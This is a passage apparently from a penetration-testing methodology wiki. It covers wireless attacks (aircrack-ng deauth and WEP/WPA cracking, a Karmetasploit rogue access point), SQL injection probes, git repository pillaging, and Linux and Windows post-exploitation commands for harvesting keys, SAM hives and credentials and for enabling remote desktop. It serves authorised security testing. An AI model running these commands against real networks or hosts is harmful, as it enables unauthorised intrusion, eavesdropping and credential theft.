The key distribution attack exploits a weakness in the RADIUS protocol. The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server's HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK - allowing full decryption of all traffic between the AP and supplicant.

RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network's AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a 'fake' certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

PEAP

The Protected Extensible Authentication Protocol (Protected EAP or PEAP) is a protocol that encapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel. The purpose was to correct deficiencies in EAP; EAP assumed a protected communication channel, such as that provided by physical security, so facilities for protection of the EAP conversation were not provided.

RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network's AP service set

identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a 'fake' certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

Authentication Attack

The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by 'guessing' user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts.

EAP-Fast

EAP-FAST (Flexible Authentication via Secure Tunneling) is Cisco's replacement for LEAP. The protocol was designed to address the weaknesses of LEAP while preserving the "lightweight" implementation. EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified. EAP-FAST provides better protection against dictionary attacks, but is vulnerable to MITM attacks. Since many implementations of EAP-FAST leave anonymous provisioning enabled, AP impersonation can reveal weak credential exchanges.

WEP/WPA/WPA2

The core process of connecting to a WEP encrypted network revolves around obtaining the WEP key for the purpose of connecting to the network. There are several tools that can be used to perform attacks against WEP.

Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.

The first step is to place the wireless interface in monitor mode by entering:

```
airmon-ng start wlan0
```

Airmon-ng

Airmon-ng is used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status.

To start wlan0 in monitor mode:

```
airmon-ng start wlan0
```

To start wlan0 in monitor mode on channel 8:

```
airmon-ng start wlan0 8
```

To stop wlan0:

```
airmon-ng stop wlan0
```

To check the status:

```
airmon-ng
```

Screenshot Here

Enter "iwconfig" to validate the wireless interfaces. The output should look similar to:

Screenshot Here

Airodump-ng

Airodump-ng is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs (Initialization Vector) for the intent of using them with Aircrack-ng. If you have a GPS receiver connected to the computer, Airodump-ng is capable of logging the coordinates of the found access points.

Usage:

```
airodump-ng <options> <interface>[,<interface>,...]

Options:

--ivs               : Save only captured IVs

--gpsd              : Use GPSd

--write    <prefix> : Dump file prefix

-w                  : same as --write

--beacons           : Record all beacons in dump file

--update     <secs> : Display update delay in seconds

--showack           : Prints ack/cts/rts statistics

-h                  : Hides known stations for --showack

-f          <msecs> : Time in ms between hopping channels

--berlin     <secs> : Time before removing the AP/client

from the screen when no more packets

are received (Default: 120 seconds)

-r           <file> : Read packets from that file

-x          <msecs> : Active Scanning Simulation

--output-format

<formats> : Output format. Possible values:

pcap, ivs, csv, gps, kismet, netxml

Short format "-o"

The option can be specified multiple   times.  In this case, each file format specified will be output.  Only ivs
or pcap can be used, not both.
```

Screenshot Here

Screenshot Here

Aireplay-ng

Aireplay-ng is primarily used to generate or accelerate traffic for the later use with Aircrack-ng (for cracking WEP keys). Aireplay-ng supports various attacks such as deauthentication, fake authentication, Interactive packet replay, hand-crafted ARP request injection and ARP-request re injection. Usage:

```
aireplay-ng <options> <replay interface>
```

These are the attack names and their corresponding "numbers":

- **Attack 0:** Deauthentication
- **Attack 1:** Fake authentication
- **Attack 2:** Interactive packet replay
- **Attack 3:** ARP request replay attack
- **Attack 4:** KoreK chopchop attack
- **Attack 5:** Fragmentation attack
- **Attack 9:** Injection test

Note: Not all options apply to all attacks.

Attack 0 - Deauthentication

A deauthentication attack sends disassociation packets to one or more clients who are currently associated with an AP. Disassociating clients can reveal a hidden / cloaked ESSID. Deauthentication attacks also provide an ability to capture WPA/WPA2 handshakes by forcing clients to re-authenticate.

```
aireplay-ng -0 1 -a 34:EF:44:BB:14:C1 -c 00:E0:4C:6D:27:8D wlan0
```

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
- -a 34:EF:44:BB:14:C1 is the MAC address of the access point
- -c 00:E0:4C:6D:27:8D is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated
- wlan0 is the interface name

Screenshot Here

Attack 1 - Fake authentication

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) and to associate with an AP. This attack is useful in scenarios where there are no associated clients. Note that fake authentication attacks do not generate ARP packets.

```
aireplay-ng -1 0 -e 2WIRE696 -a 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -1 means fake authentication
- 0 reassociation timing in seconds
- -e 2WIRE696 is the wireless network name
- -a 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is our card MAC address
- wlan0 is the wireless interface name

Screenshot Here

Attack 3 - ARP Request Replay Attack

The classic ARP request replay attack is the most effective way to generate new initialization vectors. This attack is probably the most reliable of all. The program listens for an ARP packet then retransmits it back to the AP. This, in

turn causes the AP to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the AP has a new IV. The collection of these IVs will later help us later in determining the WEP key.

```
aireplay-ng -3 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -3 means standard arp request replay
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 4 - KoreK chopchop

The KoreK chopchop attack can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. *This attack does not recover the WEP key itself, it merely reveals the plaintext*. Some APs are not vulnerable to this attack. They may seem vulnerable at first but actually drop data packets shorter than 60 bytes. If the AP drops packets shorter than 42 bytes, Aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured Aireplay checks if the checksum of the header is correct after guessing its missing parts. Remember that this attack requires at least one WEP data packet.

```
aireplay-ng -4 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -4 means the chopchop attack
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 5 - Fragmentation Attack

The fragmentation attack does not recover the WEP key itself, but (also) obtains the PRGA (pseudo random generation algorithm) of the packet. The PRGA can then be used to generate packets with Packetforge-ng which are in turn are used for various injection attacks. The attack requires at least one data packet to be received from the AP in order to initiate the attack. Basically, the program obtains a small amount of keying material from the packet then attempts to send ARP and/or LLC packets with known content to the AP. If the packet is successfully echoed back by the AP then a larger amount of keying information can be obtained from the returned packet. This cycle is repeated several times until 1500 bytes of PRGA are obtained (sometimes less than 1500 bytes).

```
aireplay-ng -5 -b 34:EF:44:BB:14:C1 -h 00:E0:4C:6D:27:8D wlan0
```

- -5 means run the fragmentation attack
- -b 34:EF:44:BB:14:C1 is the access point MAC address
- -h 00:E0:4C:6D:27:8D is the source MAC address (either an associated client or from fake authentication)
- wlan0 is the wireless interface name

Attack 9: Injection test

The injection test determines if your card can successfully inject wireless packets, and measures ping response times to APs. If you have two wireless cards connected, the test can also determine which specific injection attacks can be successfully executed. The basic injection test lists the APs in the area which respond to broadcast probes, and for each it performs a 30 packet test which measures the connection quality. This connection quality quantifies the ability

of your card to successfully send and receive a response to the test target. The percentage of responses received gives a good indication of the link quality.

```
aireplay-ng -9 wlan0
```

Where:

- -9 - Injection test.
- wlan0 - the interface name

Screenshot Here

Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. Aircrack-ng can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the Aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, and Weinmann). The default cracking method is PTW.

For cracking WPA/WPA2 pre-shared keys, only a dictionary method is used. SSE2 support is included to dramatically speed up WPA/WPA2 key processing. A "four-way handshake" is required as input. For WPA handshakes, a full handshake is composed of four packets. However, Aircrack-ng is able to work successfully with just 2 packets. EAPOL packets (2 and 3) or packets (3 and 4) are considered a full handshake.

Attacking the User

The Rules of Engagment (ROE) should be validated to ensure this is in-scope before conducting any attacks against the users

Karmetasploit Attacks

Karmetasploit is a modification of the KARMA to integrate it into Metasploit. Karmetasploit creates a working "evil" access point working that provides network services to an unsuspecting user. The services Karmetasploit provides include a DNS daemon that responds to all requests, a POP3 service, an IMAP4 service, a SMTP service, a FTP service, a couple of different SMB services, and a web service. All DNS lookups result in the IP address of the access point being returned, resulting in a blackhole effect for all email, web, and other network traffic.

To run Karmetasploit, use aireplay-ng to verify that injection is functioning:

```
# aireplay-ng --test [monitor-interface]
```

The output of aireplay-ng should indicate that injection is working and that one of the local access points could be reached. If every access point returns 0% and the message indicating injection is working is not there, you likely need to use a different/patched driver or a different wireless card.

The Metasploit Framework does not have a DHCP module, so a third-party DHCP service must be configured and installed. The easiest way to accomplish this is by installed the "dhcpd" package. On Backtrack 4 R2, the package is called "dhcpd3"or on Backtrack 5, the package is called "dhcp3-server".

```
apt-get install dhcp3-server
```

Once the DHCP server has been installed, an appropriate configuration file needs to be created. This file is normally called "dhcpd.conf" or "dhcpd3.conf" and resides in /etc, /etc/dhcp, or /etc/dhcp3. The example below uses the 10.0.0.0/24 network with the access point configured at 10.0.0.1.

```
default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}
```

To run Karmetasploit, there are three things that need to happen. First, airbase-ng must be started and configured as a greedy wireless access point. The following example will beacon the ESSID of the target company, respond to all probe requests, and rebroadcast all probes as beacons for 30 seconds:

```
airbase-ng -P -C 30 -e "<COMPANY ESSID>" -v [monitor-interface]
```

Second, we need to configure the IP address of the at0 interface to match.

```
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
```

Third, the DHCP server needs to be started on the "at0" TUN/TAP interface created by airbase-ng:

```
dhcpd -cf /etc/dhcpd.conf at0
```

Finally, the Metasploit Framework itself needs to be configured. While its possible to configure each service by hand, its more efficient to use a resource file with the msfconsole interface. A sample resource file, configured to use 10.0.0.1 as the access point address, with nearly every feature enabled, can be downloaded here [2] (http://digitaloffense.net/tools/karma.rc). To use this resource file, run msfconsole with the -r parameter. Keep in mind that msfconsole must be run as root for the capture services to function.

```
msfconsole -r karma.rc
```

Once the Metasploit Framework processes the commands in the resource file, the standard msfconsole shell will be available for commands. As clients connect to the access point and try to access the network, the service modules will do what they can to extract information from the client and exploit browser vulnerabilities.

DNS Requests

<Contribution Needed>

Bluetooth

<Contribution Needed>

Personalized Rogue AP

<Contribution Needed>

- DoS / Blackmail angle

Web

A web application involves a web server that accepts input and is most often interfaced using http(s). The penetration tester's goal is to discover any interaction points that can be manipulated to access information, functionality or services beyond the web applications intended use. Quite often a web application will comprise of tiers. The tiers are generally broken up into web, application, and data. These tiers can run on one or more servers, and any of the tiers may be load balanced across multiple servers. In the quest to find all the entry points, during the intelligence gathering and vulnerability analysis phase the penetration tester will utilize mostly GET and POST requests but should also test head, put, delete, trace, options, connect and patch. The objective is to map all input and output points. These are not limited to simply forms on a page, but include cookies, links, hidden forms, http parameters, etc. During the exploration particular attention should be given to sessions, cookies, error pages, http status codes, indirectly accessible pages, encryption usage and server configuration, dns and proxy cache usage. Ideally, this will be done using both automated and manual methods to discover potential ways to manipulate the web application parameters or logic. This is generally done using some form of client application (browser) and a proxy that can sit between the client application and the web application, and a tool to crawl (aka spider) through page links.

SQL Injection (SQLi)

According to OWASP (https://www.owasp.org/index.php/SQL_Injection) SQL Injection, or as it is more commonly known SQLi, consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/ Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL (Structured Query Language) is an interpretted programming language for interfacing with a database. It is sometimes also lazily used to refer to the database management system. Applications utilize a database to store/ retrieve and process information. The database is usually a relational database, where data is stored in one more tables, each table has values in one or more columns (data types/attributes) and rows (element/tuple). There are several implementations of SQL and each has their own commands and syntax. A few common commands are: select - retrieve data union - combine results of two or more selects insert - add new data update - modify existing data delete - delete data

What is injection? Simply stated, SQL injection exploits a vulnerability that allows data sent to an application to be interpreted and run as SQL commands.

According to OWASP (https://www.owasp.org/index.php/SQL_Injection) SQL Injection, also known as SQLi, consists of insertion or "injection" of a SQL query via the input data from the client to the application.

A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/ Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. SQL injection is typically discovered in the Vulnerability Analysis phase (and maybe hinted at in the intelligence gathering phase) of the engagement.

One possible way to test for sql injection is to enter a ' into input fields then compare the application response to a well formed request. If the web application is vulnerable to SQLi, a ' may return different results when the SQL statement attempts to execute. Was an error message returned, different results, web page a different size, are different HTTP codes returned. Don't forget to look at the source, not just what is displayed in the browser. Depending on the reaction, it may be necessary to use other tests for injection, for example " or '; or) or '+"=' or %27%20or%201=1. It may also be necessary to encode the characters to bypass filters. If the access to the source code of the application is available, review for any variables where input can be manipulated as part of the application usage. In some cases this will be readily apparent, for instance php $sql = "SELECT * from [table] WHERE tuple = '$_GET("input")'"; c# $sql = "SELECT * from [table] WHERE tuple = '" + request.getParameter("input") = "'";

Several tools are available for the identification and exploitation of SQLi

Several tools are available for the identification and exploitation of SQLi. SQLi Tools

- Havij (http://itsecteam.com/en/projects/project1.htm)
- SQLmap (http://sqlmap.sourceforge.net)
- The Mole (http://sourceforge.net/projects/themole)
- Pangolin (http://nosec.org/en/productservice/pangolin)

XSS

<Contribution Needed>

CSRF

<Contribution Needed>

Ad-Hoc Networks

<Contribution Needed>

- Information Leakage

Detection bypass

<Contribution Needed>

- FW/WAF/IDS/IPS Evasion
- Human Evasion
- DLP Evasion

Resistance of Controls to attacks

<Contribution Needed>

Type of Attack

<Contribution Needed>

- Client Side
- Phishing (w/pretext)
- Service Side
- Out of band
- Post-Exploitation
- Infrastructure analysis

The Social-Engineer Toolkit

The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of pentesting. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed. Currently SET has two main methods of attack, one is

utilizing Metasploit payloads and Java-based attacks by setting up a malicious website (which you can clone whatever one you want) that ultimately delivers your payload. The second method is through file-format bugs and e-mail phishing. The second method supports your own open-mail relay, a customized sendmail open-relay, or Gmail integration to deliver your payloads through e-mail. The goal of SET is to bring awareness to the often forgotten attack vector of social-engineering. You can see detailed tutorials here (http://www.secmaniac.com/tutorials/) or by downloading the user manual here (http://svn.secmaniac.com/social_engineering_toolkit/readme/User_Manual.pdf).

VPN detection

VPN Hunter (http://www.vpnhunter.com) discovers and classifies SSL VPNs from top vendors including Juniper, Cisco, Palo Alto, Citrix, Fortinet, F5, SonicWALL, Barracuda, Microsoft, and Array. VPN Hunter will also attempt to detect whether two-factor authentication is enabled on the target SSL VPNs.

Route detection, including static routes

<Contribution Needed>

Network Protocols in use

<Contribution Needed>

Proxies in use

<Contribution Needed>

- Network Level
- Application Level

Network layout

<Contribution Needed>

- Mapping connectivity in/out of every segment
- Lateral connectivity

High value/profile targets

<Contribution Needed>

Pillaging

<Contribution Needed>

Video Cameras

<Contribution Needed>

Data Exfiltration

<Contribution Needed>

- identify web servers
- identify ftp servers
- DNS and ICMP tunnels
- VoIP channels
- Physical channels (printing, garbage disposal, courier)
- Fax (on multifunction printers)

Locating Shares

<Contribution Needed>

Audio Capture

<Contribution Needed>

- VoIP
- Microphone

High Value Files

<Contribution Needed>

Database Enumeration

<Contribution Needed>

- Checking for PPI
- card data
- passwords/user accounts

Wifi

<Contribution Needed>

- Steal wifi keys
- Add new Wifi entries with higher preference then setup AP to force connection
- Check ESSIDs to identify places visited

Source Code Repos

<Contribution Needed>

- SVN
- CVS
- MS Sourcesafe

- WebDAV

Git

Git is a distributed version control system (DVCS) and the meta directory (.git) contains all the necessary information to re-create the state of the repository at any given point in time.

Git is often used to deploy web applications and the .git meta directory is sometimes available to pillage.

Identify the repo

One quick way to find the repo is to look for the file http://example.com/.git/HEAD and see if it contains a match to ^ref: refs/ W3AF (http://w3af.sourceforge.net/) contains a discovery plugin named findGit.py that will assist in finding git repositories of web targets.

Note: the .git directory is not always present in the root, but sometimes in sub directories depending on how a part of the application is deployed. Something like http://example.com/blog/.git/

Cloning the repo

```
git clone http://example.com/
```

If an error like this is the result of the clone attempt then you have to resort to pillaging in different ways as the repo is not easily cloneable.

```
fatal: http://example.com/info/refs not found: did you run git update-server-info on the server?
```

Check for directory browsing

If directory browsing is open for http://example.com/.git/objects then wget can be used to download the repo and then re-construct it.

Example:

```
    wget -m –no-parent http://example.com/.git
    cd example.com
    git reset –hard
```

Other useful data

If both of these scenarios fail to get you the contents of the git repo there is still other information that may be of value. These files with predictable file names can contain very useful information and are detailed below.

- .git/index

“The index is a binary file (generally kept in .git/index) containing a sorted list of path names, each with permissions and the SHA1 of a blob object; git ls-files can show you the contents of the index:” (http://book.git-scm.com/7_the_git_index.html)

1. Platform details (.php, .cgi, etc)
2. Files that may contain configuration details (that are not rendered)
3. .old
4. .new

5. .bak
6. .tar.gz
7. .txt
8. Database dumps .sql

```
    mkdir example.com
    cd example.com
    mkdir .git
    wget get http://example.com/.git/index -O .git/index
    git init .
    git ls-files
```

- .git/config

Contains repo locations, usernames / email addresses, possibly other targets one could attack.

- .git/logs/HEAD

Contains commit messages if any editing and committing has been done on the server.

- .git/hooks/*

There are a number of files in the hooks directory that may contain sensitive information depending on the environment.

Identify custom apps

<Contribution Needed>

Backups

<Contribution Needed>

- Locally stored backup files
- Central backup server
- Remote backup solutions
- Tape storage

Business impact attacks

<Contribution Needed>

- What makes the biz money
- Steal It

Further penetration into infrastructure

<Contribution Needed>

- Botnets

Pivoting inside

- Linux Commands

--Show users that have used ssh to connect to this host. grep publickey /var/log/secure*|awk '{print $9"\t"$11"\t"$NF}'|sort -u

user1 ::ffff:10.0.0.1 ssh2 user2 ::ffff:10.0.0.2 ssh2 user3 ::ffff:10.0.0.3 ssh2

--Show users that have used sudo. grep sudo /var/log/secure*|awk -F: '{print $4}'|sort -u

user1 root user2 user4

--Show users with active cron use. cat /var/log/cron* |awk '$6 !~ /Updated/ {print $6}'|tr -d \(\)|sort -u

root user5 user1 user2

--Look at a users password settings. passwd -S user

1. passwd -S appuser

Password locked.

1. passwd -S root

Password set, MD5 crypt.

1. passwd -S bin

Alternate authentication scheme in use.

--Users that have connected and from where. for i in $(ls /var/log/wtmp*);do last -adf ${i}|awk '$1 !~ /wtmp/ {print $1,$NF}'|sort -u; done

user1 testhost.example.com root testhost2.example.com user2 prodhost.example.com

--Who is logged in right now and from where. $ who -Hu NAME LINE TIME IDLE PID COMMENT user1 pts/0 Jun 2 10:39 . 28001 (testhost.example.com)

--Pull IPv4 hosts from /etc/hosts, drop commented entries and localhost. egrep -v "^[\t]*#|^[\t]*$|localhost" /etc/hosts 10.0.0.1 testhost.example.com testhost 10.0.0.2 testhost2.example.com testhost2 10.0.0.3 testhost3.example.com testhost3

--Pull commented IPv4 hosts from /etc/hosts egrep "^[\t]*#+[\t]*([0-9]{1,3}\.){3}[0-9]{1,3}" /etc/hosts

1. 10.0.0.4 testhost4.example.com testhost4

--Pull IPv6 hosts from /etc/hosts egrep "(([:xdigit:]{0,4})\:?\:{1}){0,7}\:?\:{1}([:xdigit:]{0,4})?" /etc/hosts

```
1 loopback localhost # loopback (lo0) name/address
1FFF ipv6test.example.com ipv6test
```

--Pull hostnames from known_hosts files for any user home you have access to read. for i in $(awk -F: '{print $6}' /etc/passwd|sort -u); do awk '{print $1}' ${i}/.ssh/known_hosts 2> /dev/null;done|tr ',' '\n'|sort -u testhost testhost3 testhost4 ipv6test prodhost

--Show private keys and if they are encrypted for i in $(grep "PRIVATE" *|egrep -v "END"|awk -F: '{print $1}'); do print ${i};grep ENCRYPTED ${i};echo;done id_dsa

id_dsap Proc-Type: 4,ENCRYPTED

id_rsa32k Proc-Type: 4,ENCRYPTED

id_rsa512

id_rsa512p Proc-Type: 4,ENCRYPTED

--Look at the public keys and pull their type. Numerical types are SSH protocol 1. for i in $(ls *.pub);do print ${i};awk '{print $1}' ${i};echo;done id_dsa.pub ssh-dss

id_dsap.pub ssh-dss

id_rsa16k.pub ssh-rsa

id_rsadef.pub ssh-rsa

identity2048.pub 2048

identity768p.pub 768

identity864.pub 864

- Windows Commands
- Token Stealing and Reuse
- Password Cracking
- Wifi connections to other devices
- Password Reuse
- Keyloggers
- User enumeration
- From Windows DC or from individual machines
- Linux passwd file
- MSSQL Windows Auth users

History/Logs

Linux

`date`	Display date and time
`df`	Display disk free space
`iostat`	Kernel I/O statistics
`netstat`	Network status and throughput
`lsof`	List of open files
`ps`	Process information

`top`	Display and update sorted process information
	Display who is on the system
`who`	Check ssh known hosts file Log files to see who connects to the server

.bash_history and other shell history files syslog

MySQL

- MySQL History
- syslog

Windows

- Event Logs
- Recent opened files
- Browsers
- Favorites
- stored passwords
- stored cookies
- browsing history
- browser cache files
- syslog

Cleanup

<Contribution Needed>

- Ensure documented steps of exploitation
- Ensure proper cleanup
- Remove Test Data
- Leave no trace
- Proper archiving and encryption of evidence to be handed back to customer
- Restore database from backup where necessary

Persistence

<Contribution Needed>

1. Autostart Malware

2. Reverse Connections

3. Rootkits

- User Mode
- Kernel Based

4. C&C medium (http, dns, tcp, icmp)

5. Backdoors

6. Implants

7. VPN with credentials

Post Exploitation

Post-exploitation activities are those that are conducted once a system as been compromised. These activities vary based upon the type of operating system. They can very from running simple "whoami" to enumerating local accounts.

Windows Post Exploitation

Blind Files

(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s). Files that will have the same name across networks / Windows domains / systems.

File	Expected Contents / Description
`%SYSTEMDRIVE%\boot.ini`	A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
`%WINDIR%\win.ini`	This is another file to look for if boot.ini isn't there or coming back, which is some times the case.
`%SYSTEMROOT%\repair\SAM`	It stores users' passwords in a hashed format (in LM hash and NTLM hash).
`%SYSTEMROOT%\System32\config\RegBack\SAM`	
`%SYSTEMROOT%\repair\system`	
`%SYSTEMROOT%\System32\config\RegBack\system`	

Non Interactive Command Execution

System

Command	Expected Output or Description
`whoami`	Lists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1.
`whoami /all`	Lists current user, sid, groups current user is a member of and their sids as well as current privilege level.
`set`	Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
`fsutil fsinfo drives`	Must be an administrator to run this, but it lists the current drives on the system.

`reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"`	Locates insecurely registered executables within the system registry on Windows 7.

Networking (ipconfig, netstat, net)

Command	Expected Output or Description
`ipconfig /all`	Displays the full information about your NIC's.
`ipconfig /displaydns`	Displays your local DNS cache.
`netstat -nabo`	
`netstat -s -p [tcp|udp|icpm|ip]`	
`netstat -r`	
`netstat -na | findstr :445`	
`netstat -nao | findstr LISTENING`	XP and up for -o flag to get PIDnet acc
`netstat -nao | findstr LISTENING`	XP and up for -o flag to get PID
`netstat -na | findstr LISTENING`	
`netsh diag show all`	
`net view`	Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup.
`net view /domain`	
`net view /domain:otherdomain`	
`net user %USERNAME% /domain`	Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
`net user /domain`	Lists all of the domain users
`net accounts`	Prints the password policy for the local system. This can be different and superseded by the domain policy.
`net accounts /domain`	Prints the password policy for the domain
`net localgroup administrators`	Prints the members of the Administrators local group
`net localgroup administrators /domain`	As this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
`net group "Domain Admins" /domain`	Prints the members of the Domain Admins group
`net group "Enterprise Admins" /domain`	Prints the members of the Enterprise Admins group

`net group “Domain Controllers” /domain`	Prints the list of Domain Controllers for the current domain
`nbtstat -a [ip here]`	
`net share`	Displays your currently shared SMB entries, and what path(s) they point to
find / “\\”	
`arp -a`	Lists all the systems currently in the machine’s ARP table.
`route print`	Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
`browstat`	Not working on XP

http://www.securityaegis.com/ntsd-backdoor/

Configs

Command	Expected Output or Description
`gpresult /z`	Extremely verbose output of GPO (Group policy) settings as applied to the current system and user
`sc qc`	
`sc query`	
`sc queryex`	
`type %WINDIR%\System32\drivers\etc\hosts`	Print the contents of the Windows hosts file
`dir %PROGRAMFILES%`	Prints a directory listing of the Program Files directory.
`echo %COMSPEC%`	Usually going to be cmd.exe in the Windows directory, but it’s good to know for sure.

Finding Important Files

Command	Expected Output or Description
`tree C:\ /f /a > C:\output_of_tree.txt`	Prints a directory listing in ‘tree’ format. The /a makes the tree printed with ASCII characters instead of special ones and the /f displays file names as well as folders
`dir /a`	
`dir /b /s [Directory or Filename]`	
`dir \ /s /b | find /I “searchstring”`	Searches the output of dir from the root of the drive current drive (\) and all sub drectories (/s) using the ‘base’ format (/b) so that it outputs the full path for each listing, for ‘searchstring’ anywhere in the file name or path.
`command | find /c /v “”`	Counts the lines of whatever you use for ‘command’

Files To Pull (if possible)

File location	Description / Reason
`%SYSTEMDRIVE%\pagefile.sys`	Large file, but contains spill over from RAM, usually lots of good information can be

	pulled, but should be a last resort due to size
%WINDIR%\debug\NetSetup.log	
%WINDIR%\repair\sam	
%WINDIR%\repair\system	
%WINDIR%\repair\software	
%WINDIR%\repair\security	
%WINDIR%\iis6.log	iis5.log, ii6.log or iis7.log
%WINDIR%\system32\logfiles\httperr\httperr1.log	IIS 6 error log
%SystemDrive%\inetpub\logs\LogFiles	IIS 7's logs location
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log	Year month day
%WINDIR%\system32\config\AppEvent.Evt	
%WINDIR%\system32\config\SecEvent.Evt	
%WINDIR%\system32\config\default.sav	
%WINDIR%\system32\config\security.sav	
%WINDIR%\system32\config\software.sav	
%WINDIR%\system32\config\system.sav	
%WINDIR%\system32\CCM\logs*.log	
%USERPROFILE%\ntuser.dat	
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat	
%WINDIR%\System32\drivers\etc\hosts	

Remote System Access

Command	Description / Reason
net share \\computername	
tasklist /V /S computername	
qwinsta /SERVER:computername	
qprocess /SERVER:computername *	
net use \\computername	This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. This is less helpful as most commands will automatically make this connection if needed

`net use \\computername /user:DOMAIN\username password`	Using the IPC$ mount use a user name and password allows you to access commands that do not usually ask for a username and password as a different user in the context of the remote system. This is useful when you've gotten credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
`reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`	Enable remote desktop.
`reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f`	Enable remote assistance
`net time \\computername`	Shows the time of target computer)
`dir \\computername\share_or_admin_share\`	dir list a remote directory
`tasklist /V /S computername`	Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

Auto-Start Directories

`ver` Returns kernel version - like uname on *nix)

Version	Location
Windows NT 6.1, 6.0	%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

Windows NT 5.2, 5.1, 5,0	%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x	%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50	%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\

Binary Planting

Location / File name	Reason / Description
